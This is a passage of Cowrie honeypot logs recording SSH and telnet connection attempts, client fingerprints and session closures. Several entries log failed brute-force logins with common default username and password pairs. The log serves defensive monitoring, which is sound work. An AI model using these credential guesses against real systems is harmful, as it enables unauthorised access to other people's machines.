,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:08.579501Z","src_ip":"200.105.172.184","session":"fdb35045be39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"123456","message":"login attempt [bitnami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:09.087706Z","src_ip":"200.105.172.184","session":"fdb35045be39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:10.211048Z","src_ip":"200.105.172.184","session":"fdb35045be39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.752994060516357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:13.584977Z","src_ip":"161.132.53.68","session":"0f6ec83515a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17801070213318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:14.218079Z","src_ip":"161.132.53.68","session":"6efe9d888f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":47030,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3bfe0106951","protocol":"ssh","message":"New connection: 124.18.182.99:47030 (10.17.0.5:22) [session: f3bfe0106951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:15.310788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:15.315976Z","src_ip":"124.18.182.99","session":"f3bfe0106951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:15.487506Z","src_ip":"124.18.182.99","session":"f3bfe0106951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:16.199589Z","src_ip":"124.18.182.99","session":"f3bfe0106951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:17.373735Z","src_ip":"124.18.182.99","session":"f3bfe0106951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c61d126855a","protocol":"telnet","message":"New connection: 161.132.53.68:42462 (159.203.135.109:23) [session: 4c61d126855a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:19.281283Z"}
{"eventid":"cowrie.session.closed","duration":33.10617923736572,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:20.904241Z","src_ip":"161.132.53.68","session":"5a4e7dd78c1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":47050,"dst_ip":"10.17.0.5","dst_port":22,"session":"833734fe6e23","protocol":"ssh","message":"New connection: 220.119.37.141:47050 (10.17.0.5:22) [session: 833734fe6e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:21.205854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:21.214091Z","src_ip":"220.119.37.141","session":"833734fe6e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:21.408996Z","src_ip":"220.119.37.141","session":"833734fe6e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.847420692443848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:21.876967Z","src_ip":"161.132.53.68","session":"b2fba2950922","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"yassine123","message":"login attempt [root/yassine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:22.216444Z","src_ip":"220.119.37.141","session":"833734fe6e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:23.412759Z","src_ip":"220.119.37.141","session":"833734fe6e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09211802482605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:24.161685Z","src_ip":"161.132.53.68","session":"2c203a7cd793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9816198348999,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:25.049357Z","src_ip":"161.132.53.68","session":"ed6382f106a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56722,"dst_ip":"159.203.135.109","dst_port":23,"session":"0206ab3c5de7","protocol":"telnet","message":"New connection: 161.132.53.68:56722 (159.203.135.109:23) [session: 0206ab3c5de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:28.034490Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56734,"dst_ip":"159.203.135.109","dst_port":23,"session":"186b81f399fb","protocol":"telnet","message":"New connection: 161.132.53.68:56734 (159.203.135.109:23) [session: 186b81f399fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:29.153881Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56738,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0d49cceaf1b","protocol":"telnet","message":"New connection: 161.132.53.68:56738 (159.203.135.109:23) [session: b0d49cceaf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:31.730550Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a928dc792b8","protocol":"telnet","message":"New connection: 161.132.53.68:56740 (159.203.135.109:23) [session: 8a928dc792b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:31.777141Z"}
{"eventid":"cowrie.session.closed","duration":30.819230318069458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:32.673517Z","src_ip":"161.132.53.68","session":"c9897fb7d928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87965488433838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:32.681800Z","src_ip":"161.132.53.68","session":"1a4e325071e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":12400,"dst_ip":"159.203.135.109","dst_port":22,"session":"c52f38c2f15b","protocol":"ssh","message":"New connection: 193.46.255.86:12400 (159.203.135.109:22) [session: c52f38c2f15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:33.324787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:33.330243Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:33.466231Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:34.088105Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:35.230454Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56742,"dst_ip":"159.203.135.109","dst_port":23,"session":"814ee60734ab","protocol":"telnet","message":"New connection: 161.132.53.68:56742 (159.203.135.109:23) [session: 814ee60734ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:35.288419Z"}
{"eventid":"cowrie.session.closed","duration":34.60971689224243,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:36.289948Z","src_ip":"161.132.53.68","session":"73ded2330f86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:36.369281Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.323575496673584,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:36.816547Z","src_ip":"161.132.53.68","session":"0dd576d15d5b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:37.508354Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41116,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1f0ab8704c","protocol":"telnet","message":"New connection: 161.132.53.68:41116 (159.203.135.109:23) [session: ea1f0ab8704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:37.655687Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41132,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad8bee1cf65","protocol":"telnet","message":"New connection: 161.132.53.68:41132 (159.203.135.109:23) [session: 0ad8bee1cf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:37.761068Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e596deb683e","protocol":"telnet","message":"New connection: 161.132.53.68:41146 (159.203.135.109:23) [session: 8e596deb683e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:38.294778Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:38.647480Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40680,"dst_ip":"10.17.0.5","dst_port":23,"session":"4add9f825a2f","protocol":"telnet","message":"New connection: 104.245.105.2:40680 (10.17.0.5:23) [session: 4add9f825a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:39.043164Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:39.787987Z","src_ip":"193.46.255.86","session":"c52f38c2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41162,"dst_ip":"159.203.135.109","dst_port":23,"session":"e706730a3346","protocol":"telnet","message":"New connection: 161.132.53.68:41162 (159.203.135.109:23) [session: e706730a3346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:42.996509Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41168,"dst_ip":"159.203.135.109","dst_port":23,"session":"5381e81ec06d","protocol":"telnet","message":"New connection: 161.132.53.68:41168 (159.203.135.109:23) [session: 5381e81ec06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:44.309956Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41172,"dst_ip":"159.203.135.109","dst_port":23,"session":"db342ee1bcfe","protocol":"telnet","message":"New connection: 161.132.53.68:41172 (159.203.135.109:23) [session: db342ee1bcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:45.430993Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":59694,"dst_ip":"10.17.0.5","dst_port":22,"session":"df3ee67c865f","protocol":"ssh","message":"New connection: 114.35.59.237:59694 (10.17.0.5:22) [session: df3ee67c865f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:49.583597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:49.632968Z","src_ip":"114.35.59.237","session":"df3ee67c865f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:49.839388Z","src_ip":"114.35.59.237","session":"df3ee67c865f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.121639490127563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:50.402781Z","src_ip":"161.132.53.68","session":"4c61d126855a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ","message":"login attempt [ubuntu/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:50.656704Z","src_ip":"114.35.59.237","session":"df3ee67c865f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54320,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf1a640dce6","protocol":"telnet","message":"New connection: 161.132.53.68:54320 (159.203.135.109:23) [session: 8cf1a640dce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:50.809650Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:51.868654Z","src_ip":"114.35.59.237","session":"df3ee67c865f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59269ec3566","protocol":"telnet","message":"New connection: 161.132.53.68:54322 (159.203.135.109:23) [session: c59269ec3566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:55.611995Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54332,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cd6df8510e1","protocol":"telnet","message":"New connection: 161.132.53.68:54332 (159.203.135.109:23) [session: 2cd6df8510e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:56.158971Z"}
{"eventid":"cowrie.session.closed","duration":31.243428230285645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:59.277765Z","src_ip":"161.132.53.68","session":"0206ab3c5de7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26923155784607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:00.422987Z","src_ip":"161.132.53.68","session":"186b81f399fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48786,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a47496bdf4e","protocol":"telnet","message":"New connection: 161.132.53.68:48786 (159.203.135.109:23) [session: 8a47496bdf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:00.889070Z"}
{"eventid":"cowrie.session.closed","duration":30.652099132537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:02.382563Z","src_ip":"161.132.53.68","session":"b0d49cceaf1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48792,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fafc1455033","protocol":"telnet","message":"New connection: 161.132.53.68:48792 (159.203.135.109:23) [session: 2fafc1455033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:02.943010Z"}
{"eventid":"cowrie.session.closed","duration":32.59109354019165,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:04.368135Z","src_ip":"161.132.53.68","session":"8a928dc792b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05252432823181,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:06.340835Z","src_ip":"161.132.53.68","session":"814ee60734ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55446,"dst_ip":"159.203.135.109","dst_port":23,"session":"728fd99823f1","protocol":"telnet","message":"New connection: 161.132.53.68:55446 (159.203.135.109:23) [session: 728fd99823f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:07.942419Z"}
{"eventid":"cowrie.session.closed","duration":30.33565092086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:08.096585Z","src_ip":"161.132.53.68","session":"0ad8bee1cf65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.830384731292725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:09.485946Z","src_ip":"161.132.53.68","session":"ea1f0ab8704c","protocol":"telnet"}
